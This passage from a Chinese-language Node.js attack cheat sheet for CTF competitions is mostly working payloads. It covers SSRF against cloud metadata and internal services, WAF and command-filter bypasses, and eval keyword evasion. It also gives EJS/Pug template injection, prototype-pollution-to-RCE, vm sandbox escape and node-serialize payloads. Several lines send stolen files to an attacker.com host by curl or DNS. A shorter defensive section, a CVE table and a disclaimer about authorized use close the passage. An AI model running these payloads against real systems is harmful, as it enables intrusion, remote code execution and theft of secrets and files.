    // originalname = "shell.ejs"    → 写模板文件触发 SSTI
})

// ── 安全的文件上传 ──
const crypto = require('crypto')
const storage = multer.diskStorage({
    destination: '/tmp/uploads',
    filename: (req, file, cb) => {
        // 随机文件名,仅保留合法扩展名
        const ext = path.extname(file.originalname).toLowerCase()
        cb(null, crypto.randomUUID() + ext)
    }
})

const upload = multer({
    storage,
    limits: { fileSize: 5 * 1024 * 1024 },   // 5MB
    fileFilter: (req, file, cb) => {
        const allowed = new Set(['image/jpeg', 'image/png', 'image/gif'])
        // 检查 MIME 类型(但仅靠此不够,还需检查文件头)
        cb(null, allowed.has(file.mimetype))
    }
})

八、SSRF 利用

8.1 Node.js SSRF 场景

const axios = require('axios')
const http  = require('http')

// ── 经典场景 ──

// 图片/资源代理
app.get('/proxy', async (req, res) => {
    const url = req.query.url        // 用户控制 → SSRF
    const response = await axios.get(url)
    res.send(response.data)
})

// 二维码/截图服务
app.post('/qrcode', async (req, res) => {
    const url = req.body.url         // 用户控制 → SSRF
    await page.goto(url)             // Puppeteer 访问内网
    const screenshot = await page.screenshot()
    res.send(screenshot)
})

// URL 预览/元数据获取
app.post('/preview', async (req, res) => {
    const { url } = req.body         // 用户控制 → SSRF
    const meta = await fetch(url).then(r => r.text())
    res.json({ preview: meta })
})

8.2 SSRF 攻击目标

# ── 云元数据服务 ──
http://169.254.169.254/latest/meta-data/                     # AWS 通用
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data                      # 启动脚本(含密钥)
http://metadata.google.internal/computeMetadata/v1/?recursive=true  # GCP
http://169.254.169.254/metadata/v1/                          # DigitalOcean
http://100.100.100.200/latest/meta-data/                     # 阿里云 ECS

# ── Kubernetes API ──
http://kubernetes.default.svc/api/v1/
http://kubernetes.default.svc/api/v1/namespaces/
http://kubernetes.default.svc/api/v1/secrets/
https://kubernetes.default.svc:443/api/v1/configmaps/

# ── 内部服务 ──
http://localhost:27017/               # MongoDB HTTP 接口(某些版本)
http://127.0.0.1:6379/               # Redis(RESP 协议,通常不是 HTTP)
http://127.0.0.1:9200/_cat/indices   # Elasticsearch
http://127.0.0.1:2375/containers/json # Docker Daemon(未加密)
http://127.0.0.1:8500/v1/kv/         # Consul
http://127.0.0.1:4001/v2/keys/       # etcd
http://127.0.0.1:3000/               # 内部管理页面

# ── 本地敏感路径 ──
file:///etc/passwd
file:///proc/self/environ
file:///flag

# ── IP 绕过 ──
http://127.0.0.1/          # IPv4 本地
http://[::1]/              # IPv6 本地
http://0x7f000001/         # 十六进制:127.0.0.1
http://2130706433/         # 十进制:127.0.0.1
http://127.1/              # 简写(部分系统)
http://127.000.000.001/    # 八进制风格(部分系统)

8.3 SSRF 绕过过滤

import requests

TARGET = "http://target.com/proxy?url="

# ── 绕过域名黑名单 ──
# 方法一:使用重定向(若未跟随到内网)
# 搭建 http://attacker.com/redir → 302 → http://127.0.0.1/

# 方法二:DNS 重绑定
# 域名首次解析为公网 IP(绕过检查)
# 第二次解析为 127.0.0.1(实际请求)
# DNS TTL=0,每次解析不同 IP

# 方法三:IPv6
payloads = [
    "http://[::1]/",
    "http://[::ffff:127.0.0.1]/",
    "http://0x7f000001/",
    "http://2130706433/",
    "http://127.1/",
]

# 方法四:短链接服务跳转到内网
# 使用 bit.ly / tinyurl 等重定向到 127.0.0.1

# 方法五:URL 中插入认证信息混淆解析
# http://attacker.com@127.0.0.1/  → 某些解析器取 @ 后的 host
# http://127.0.0.1#attacker.com   → 某些解析器取 # 前的 host

for url in payloads:
    r = requests.get(TARGET + url, timeout=5)
    print(f"{url} → {r.status_code}: {r.text[:100]}")

九、WAF 绕过技术

9.1 HTTP 请求层绕过

import requests
import gzip, json

TARGET = "http://target.com/api"

# ── Content-Type 切换 ──
# WAF 可能只针对特定 Content-Type 做深度检测

# JSON 标准格式
requests.post(TARGET, json={"cmd": "id"})

# text/plain(某些框架仍解析 JSON)
requests.post(TARGET, data='{"cmd":"id"}',
              headers={"Content-Type": "text/plain"})

# form 格式(绕过 JSON 检测)
requests.post(TARGET, data={"cmd": "id"})

# multipart(绕过 JSON 检测)
requests.post(TARGET, files={"cmd": (None, "id")})

# ── Gzip 压缩绕过 ──
# 某些 WAF 不解压即检测
body = gzip.compress(json.dumps({"cmd": "id; cat /flag"}).encode())
requests.post(TARGET, data=body,
              headers={
                  "Content-Type": "application/json",
                  "Content-Encoding": "gzip"
              })

# ── 分块传输(Chunked)绕过 ──
# 某些 WAF 不重组 Chunked Body
import http.client
conn = http.client.HTTPConnection("target.com")
conn.putrequest("POST", "/api")
conn.putheader("Transfer-Encoding", "chunked")
conn.putheader("Content-Type", "application/json")
conn.endheaders()
body = b'{"cmd":"id"}'
conn.send(hex(len(body)).encode() + b"\r\n" + body + b"\r\n0\r\n\r\n")

# ── 参数污染(HPP)──
# WAF 取第一个参数,后端取最后一个
requests.post(TARGET,
              data="cmd=safe&cmd=id;cat+/etc/passwd",
              headers={"Content-Type": "application/x-www-form-urlencoded"})

# ── Unicode 正规化绕过 ──
# 某些 WAF 在 Unicode 正规化前检测关键字
# 全角字符在某些系统下正规化后等效于 ASCII
requests.post(TARGET,
              json={"cmd": "id"})   # 全角 → 某些框架正规化为 cmd: id

9.2 原型链污染绕过 WAF

// ── 绕过 __proto__ 关键字检测 ──

// 方法一:constructor.prototype(等效但关键字不同)
{"constructor": {"prototype": {"isAdmin": true}}}

// 方法二:Unicode 转义 __proto__
{"\u005f\u005fproto\u005f\u005f": {"isAdmin": true}}
// \u005f = _

// 方法三:数组访问语法(若 WAF 只检测 . 分隔)
// obj["__proto__"]["isAdmin"] = true

// 方法四:混合路径(若使用 set 类函数)
// 路径:constructor[prototype][isAdmin]
// 某些 WAF 检测 __proto__ 但不检测 constructor.prototype

// ── 绕过 outputFunctionName 关键字检测 ──
// 污染不同的 EJS 选项触发 RCE

// 污染 escape 函数(EJS 另一利用点)
{"__proto__": {
    "escape": "x; require('child_process').execSync('id'); return //"
}}

// 污染 opts.filename(某些 EJS 版本)
{"__proto__": {
    "filename": "/etc/passwd"
}}

9.3 命令注入 WAF 绕过

# ── 空格绕过 ──
cat${IFS}/etc/passwd          # IFS 变量替代空格
cat</etc/passwd               # 重定向符号替代空格
{cat,/etc/passwd}             # Bash 大括号展开
cat%09/etc/passwd             # Tab(URL 编码)
X=$'\x20';cat${X}/etc/passwd  # ANSI C 字符串

# ── 关键字绕过 ──
# 反斜杠截断
c\at /etc/passwd
ca\t /etc/passwd

# 引号截断(引号不影响执行)
c''at /etc/passwd
c""at /etc/passwd
wh''oami

# 变量拼接
a=ca;b=t;$a$b /etc/passwd
a=c;b=at;${a}${b} /etc/passwd

# Base64 解码执行
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash
# Y2F0IC9ldGMvcGFzc3dk = cat /etc/passwd

# 通配符替代字符
/???/??t /???/p????d         # /bin/cat /etc/passwd
/bin/c?t /etc/p???wd         # 匹配 passwd

# ── Node.js 特有绕过 ──
# 不调用 shell,直接用 Node.js API 读取文件(绕过命令过滤)
require('fs').readFileSync('/etc/passwd').toString()
require('fs').readFileSync('/flag').toString()

# 通过 Buffer 编码绕过字符串过滤
require('child_process').execSync(
    Buffer.from('aWQ=','base64').toString()
)  // 'id'

# charCode 构造命令字符串
require('child_process').execSync(
    String.fromCharCode(105,100)  // 'id'
)

# 通过数组 join 构造命令
require('child_process').execSync(['i','d'].join(''))

9.4 eval / new Function 关键字绕过

// ── 过滤了 require / process 等关键字 ──

// 方法一:通过 global 对象访问
global['process']
global['require']
globalThis['process']

// 方法二:通过 constructor 链(不含 require / process 关键字)
this.constructor.constructor('return process')()
''.constructor.constructor('return process')()

// 方法三:字符串拼接
'req'+'uire'                          // → 'require'
eval('req'+'uire')('child_process')

// 方法四:Array join
['r','e','q','u','i','r','e'].join('')  // → 'require'
eval(['r','e','q','u','i','r','e'].join(''))('child_process')

// 方法五:Base64 解码
Buffer.from('cmVxdWlyZQ==','base64').toString()
// cmVxdWlyZQ== = require
eval(Buffer.from('cmVxdWlyZQ==','base64').toString())('child_process')

// 方法六:charCode 构造
String.fromCharCode(114,101,113,117,105,114,101)  // 'require'

// 方法七:Reflect / Proxy 包装(绕过属性访问检测)
const proc = new Proxy(process, { get: Reflect.get.bind(Reflect) })
proc.mainModule.require('child_process').execSync('id')

// 方法八:过滤了 eval,使用 Function 构造器
Function('return require("child_process").execSync("id").toString()')()
// 过滤了 Function,使用
;(0,eval)('require("child_process").execSync("id").toString()')
// 间接 eval,某些 lint 规则不报警

// 方法九:利用已有上下文对象
// 若 sandbox 中有函数对象,可通过它访问 Function
sandbox.existingFn.constructor('return process')()

9.5 SSTI WAF 绕过

// ── EJS 关键字绕过 ──
// 过滤了 require
<%= global['require']('child_process').execSync('id') %>
<%= process.mainModule['require']('child_process').execSync('id') %>

// 过滤了 child_process(字符串拼接)
<%= require('child'+'_process').execSync('id') %>

// 过滤了 execSync(用 exec 替代)
<% require('child_process').exec('id', (err,out) => { require('fs').writeFileSync('/tmp/o',out) }) %>

// ── Pug 关键字绕过 ──
- var cp = global['require']('child_process')
= cp.execSync('id').toString()

// ── 通过模板嵌套 ──
// 若某一层过滤不严,可嵌套模板触发

十、CTF 实战思路

10.1 解题决策树

发现 Node.js 应用
    │
    ├── 信息收集
    │   ├── 响应头 X-Powered-By: Express 4.x
    │   ├── 错误页面泄露 __dirname / __filename / 堆栈
    │   ├── 访问 /package.json → 依赖版本 → 查 CVE
    │   └── 访问 /.env / /config.js → 密钥泄露
    │
    ├── 原型链污染路径
    │   ├── 寻找 merge/deepClone/set/update 端点
    │   ├── 测试 {"__proto__":{"polluted":true}}
    │   │       POST + 检查 ({}).polluted === true
    │   ├── 查 package.json 找漏洞库版本(lodash/ejs 等)
    │   └── 污染成功 → 找利用链
    │           ├── EJS 渲染 → outputFunctionName → RCE
    │           ├── Lodash template → variable → RCE
    │           ├── exec 选项 → shell → RCE
    │           └── spawn env → NODE_OPTIONS → RCE
    │
    ├── 代码执行路径
    │   ├── 发现 eval / new Function → 直接 RCE
    │   ├── 发现 vm.runInNewContext → 沙箱逃逸
    │   ├── 发现 node-serialize Cookie → IIFE Payload
    │   ├── 发现 yaml.load FULL_SCHEMA → !!js/function
    │   └── 发现 template 端点 → SSTI(EJS/Pug/HBS)
    │
    ├── 命令注入路径
    │   ├── 发现 exec/execSync 字符串拼接 → 注入分隔符
    │   ├── 有回显 → 直接读 flag
    │   └── 无回显 → curl/DNS 外带
    │
    └── 文件读取路径
        ├── 发现 readFile/sendFile 路径可控 → 路径穿越
        ├── ?file=../../../../flag
        └── URL 编码 / 双重编码 / ....// 绕过过滤

10.2 常见题型与 Payload

// ══ 题型一:原型链污染 + EJS RCE ══
// POST /api/merge
const payload = {
    "__proto__": {
        "outputFunctionName":
            "x; process.mainModule.require('child_process').execSync('cat /flag').toString(); //"
    }
}
// 触发:GET /any-ejs-route

// ══ 题型二:vm 沙箱逃逸 ══
// POST /sandbox  {"code": "..."}
const escape = `this.constructor.constructor('return process')()
    .mainModule.require('child_process')
    .execSync('cat /flag').toString()`

// ══ 题型三:node-serialize 反序列化 ══
// Cookie: profile=<base64>
const nsPayload = JSON.stringify({
    rce: "_$$ND_FUNC$$_function(){" +
         "require('child_process').execSync(" +
         "'curl http://attacker.com/?f='+require('fs').readFileSync('/flag').toString()" +
         ")}()"
})
const b64 = Buffer.from(nsPayload).toString('base64')

// ══ 题型四:EJS 直接 SSTI ══
// ?tpl=<%= require('child_process').execSync('cat /flag') %>
// ?name=%3C%25%3D%20require('child_process').execSync('cat%20/flag')%20%25%3E

// ══ 题型五:Pug SSTI ══
// ?title=\n-%20var%20x%3Drequire('child_process')%0a%3D%20x.execSync('cat%20/flag').toString()

// ══ 题型六:路径穿越 ══
// ?file=../../../../flag
// ?file=....//....//....//....//flag
// ?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fflag

// ══ 题型七:命令注入 ══
// ?host=127.0.0.1;cat /flag
// ?host=127.0.0.1;cat${IFS}/flag  (空格过滤绕过)
// ?host=127.0.0.1%0acat%20/flag   (换行符注入)

10.3 信息收集 Payload 速查

// ── 读取 flag ──
require('fs').readFileSync('/flag').toString()
require('fs').readFileSync('/flag.txt').toString()
require('fs').readFileSync(process.env.FLAG_PATH || '/flag').toString()

// ── 环境变量(含密钥)──
JSON.stringify(process.env)
process.env.FLAG
process.env.SECRET_KEY
process.env.DATABASE_URL

// ── 列目录 ──
require('fs').readdirSync('/').join('\n')
require('fs').readdirSync('/var/www').join('\n')
require('fs').readdirSync(__dirname).join('\n')

// ── 当前源码 ──
require('fs').readFileSync(__filename).toString()
require('fs').readFileSync(require.main.filename).toString()

// ── package.json(依赖版本)──
require('fs').readFileSync(require.main.path + '/package.json').toString()
JSON.stringify(require('./package.json'))

// ── 进程信息 ──
process.cwd()           // 当前工作目录
process.pid             // 进程 ID
process.argv.join(' ')  // 启动参数(可能含密钥)
process.versions        // Node.js 及 V8 版本

十一、防御措施

11.1 输入验证

// ── 使用 zod 严格类型验证 ──
import { z } from 'zod'

const LoginSchema = z.object({
    username: z.string().min(1).max(50).regex(/^[a-zA-Z0-9_]+$/),
    password: z.string().min(8).max(128),
})

app.post('/login', (req, res) => {
    const result = LoginSchema.safeParse(req.body)
    if (!result.success) {
        return res.status(400).json({ error: result.error.format() })
    }
    const { username, password } = result.data  // 已验证数据
})

// ── 防止原型链污染的 merge ──
function safeMerge(target, source) {
    const BLOCKED = new Set(['__proto__', 'constructor', 'prototype'])
    for (const key of Object.keys(source)) {   // 用 Object.keys,不遍历原型链
        if (BLOCKED.has(key)) continue          // 跳过危险键
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!Object.hasOwn(target, key)) target[key] = {}
            safeMerge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}

// ── 启动时冻结 Object.prototype ──
Object.freeze(Object.prototype)

11.2 命令与文件安全

// ── 安全命令执行(数组参数)──
const { execFile } = require('child_process')

// ❌ 危险
execSync(`ping -c 1 ${host}`)

// ✅ 安全(execFile 不经过 Shell)
execFile('/bin/ping', ['-c', '1', host], (err, stdout) => {
    res.send(stdout)
})

// ── 安全文件读取(路径验证)──
function safeReadFile(baseDir, userInput) {
    const base   = path.resolve(baseDir)
    const target = path.resolve(base, userInput)
    if (!target.startsWith(base + path.sep)) {
        throw new Error('Path traversal detected')
    }
    return fs.readFileSync(target)
}

// ── 禁用危险函数(生产环境)──
// 通过 ESLint 规则(eslint-plugin-security)在代码层面禁止
// no-eval, no-new-func 等规则

11.3 安全配置清单

// ── Express 安全配置 ──
const helmet = require('helmet')
const rateLimit = require('express-rate-limit')

app.disable('x-powered-by')          // 不暴露框架版本
app.use(helmet())                     // 安全响应头
app.use(express.json({ limit: '100kb' })) // 限制请求体大小

// 速率限制
app.use('/login', rateLimit({
    windowMs: 15 * 60 * 1000,        // 15 分钟
    max: 20,                          // 最多 20 次
}))

// 安全 Cookie
app.use(require('express-session')({
    secret: process.env.SESSION_SECRET,  // 从环境变量读取
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,               // 防 XSS 窃取
        secure:   true,               // 仅 HTTPS
        sameSite: 'strict',           // 防 CSRF
        maxAge:   3600000,            // 1小时过期
    }
}))

// ── Node.js 启动参数 ──
// --disable-proto=throw  防止 __proto__ 访问(Node.js 13.12+)
// --no-experimental-fetch  禁用实验性 fetch(减少攻击面)
// NODE_ENV=production     禁用调试信息

11.4 防御检查清单

代码层:
  ✅ 所有用户输入使用严格类型验证(zod / joi / class-validator)
  ✅ 禁止 eval / new Function 处理用户输入
  ✅ 命令执行使用数组参数形式,禁止字符串拼接
  ✅ 文件路径操作后验证仍在许可目录内
  ✅ 递归 merge / clone 过滤 __proto__ / constructor 键
  ✅ 使用 js-yaml 4.x(不支持 !!js/*)
  ✅ 禁止 node-serialize,改用 JSON

框架层:
  ✅ 使用 helmet 设置安全响应头
  ✅ 登录接口添加速率限制
  ✅ 登录成功后调用 session.regenerate()
  ✅ Cookie 设置 httpOnly / secure / sameSite
  ✅ 关闭 x-powered-by 响应头
  ✅ 错误处理不暴露路径和堆栈

VM / 沙箱层:
  ✅ 不用 vm 模块执行不可信代码
  ✅ 使用 isolated-vm 或 Docker 真正隔离
  ✅ 禁止使用 vm2(已停止维护)

依赖安全:
  ✅ 定期运行 npm audit
  ✅ 使用 npm ci 严格按 lock 文件安装
  ✅ 锁定依赖精确版本防依赖混淆
  ✅ 审查新增包的 install scripts

运行时:
  ✅ node --disable-proto=throw(Node.js 13.12+)
  ✅ 以最小权限用户运行 Node.js
  ✅ 设置 NODE_ENV=production
  ✅ 启用运行时异常监控和告警

附录

A. 常见 CVE 速查

CVE 组件 版本 漏洞类型 修复版本
CVE-2020-8203 lodash < 4.17.19 原型链污染(merge/set/zipObjectDeep) 4.17.19+
CVE-2019-10744 lodash < 4.17.15 原型链污染(defaultsDeep) 4.17.15+
CVE-2019-11358 jQuery < 3.4.0 原型链污染($.extend) 3.4.0+
CVE-2022-29078 ejs < 3.1.7 原型链污染 → RCE(outputFunctionName) 3.1.7+
CVE-2021-23337 lodash < 4.17.21 template variable 注入 → RCE 4.17.21+
CVE-2021-23369 handlebars < 4.7.7 原型链污染 → RCE 4.7.7+
CVE-2015-9235 jsonwebtoken < 4.2.2 Algorithm None 4.2.2+
CVE-2022-23529 jsonwebtoken < 9.0.0 密钥注入 9.0.0+
CVE-2022-36067 vm2 < 3.9.11 沙箱逃逸(Error.prepareStackTrace) 弃用
CVE-2023-29017 vm2 < 3.9.15 沙箱逃逸(async 异常) 弃用
CVE-2021-44906 minimist < 1.2.6 原型链污染 1.2.6+
CVE-2022-24999 qs < 6.7.3 原型链污染 6.7.3+
CVE-2018-3728 hoek < 5.0.3 原型链污染 5.0.3+

B. Node.js 版本安全特性

版本 关键安全特性
10.x(EOL) 基础 TLS 1.2 支持
12.x(EOL) --experimental-policy 模块完整性
14.x(EOL) --disable-proto=delete|throw
16.x(EOL) --no-global-search-paths 限制搜索路径
18.x LTS 内置 fetch API(新 SSRF 面)
20.x LTS --experimental-permission 权限模型
22.x LTS 稳定权限模型(--permission --allow-fs-read=...

C. 快速 RCE Payload 速查

// ── 已有代码执行环境时的常用 Payload ──

// 读取 flag
require('fs').readFileSync('/flag').toString()

// 执行命令并返回
require('child_process').execSync('id').toString()
require('child_process').execSync('cat /flag').toString()

// 环境变量
JSON.stringify(process.env)

// 列目录
require('fs').readdirSync('/').join(',')

// HTTP 外带(无回显)
require('child_process').execSync(
    "curl http://attacker.com/?d=" +
    encodeURIComponent(require('fs').readFileSync('/flag').toString())
)

// DNS 外带(绕过 HTTP 过滤)
;(()=>{
    const d = require('fs').readFileSync('/flag').toString().trim()
    const b = Buffer.from(d).toString('base64').replace(/[+/=]/g,'')
    require('dns').resolve(b.slice(0,50)+'.x.attacker.com',()=>{})
})()

// ── VM 沙箱逃逸通用 Payload ──
this.constructor.constructor('return process')()
    .mainModule.require('child_process').execSync('cat /flag').toString()

// ── 原型链污染 → EJS RCE ──
{"__proto__":{"outputFunctionName":"x;require('child_process').execSync('cat /flag');//"}}

// ── node-serialize IIFE ──
{"x":"_$$ND_FUNC$$_function(){require('child_process').execSync('cat /flag')}()"}

D. 工具速查

# ── 漏洞扫描 ──
npm audit                         # 内置依赖漏洞审计
npx snyk test                     # Snyk 扫描
npx retire --js .                 # retire.js 扫描
npx is-my-node-vulnerable         # Node.js 本体漏洞检查

# ── 原型链污染检测 ──
npx pp-finder app.js              # 静态分析
node -e "Object.freeze(Object.prototype); require('./app')"  # 冻结后测试

# ── JWT 攻击 ──
# jwt_tool
python3 jwt_tool.py <token> -X a  # Algorithm None
python3 jwt_tool.py <token> -X k -pk public.pem  # 密钥混淆
# hashcat 弱密钥爆破
hashcat -a 0 -m 16500 token.txt wordlist.txt

# ── 沙箱逃逸测试 ──
node -e "const vm=require('vm'); console.log(vm.runInNewContext(\"this.constructor.constructor('return process')().version\", {}))"

# ── 代码静态分析 ──
npx eslint --plugin security .    # eslint-plugin-security
semgrep --config=auto .           # Semgrep 安全规则扫描

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。未经授权对任何系统进行攻击属于违法行为,请在合法合规的环境中学习与实践。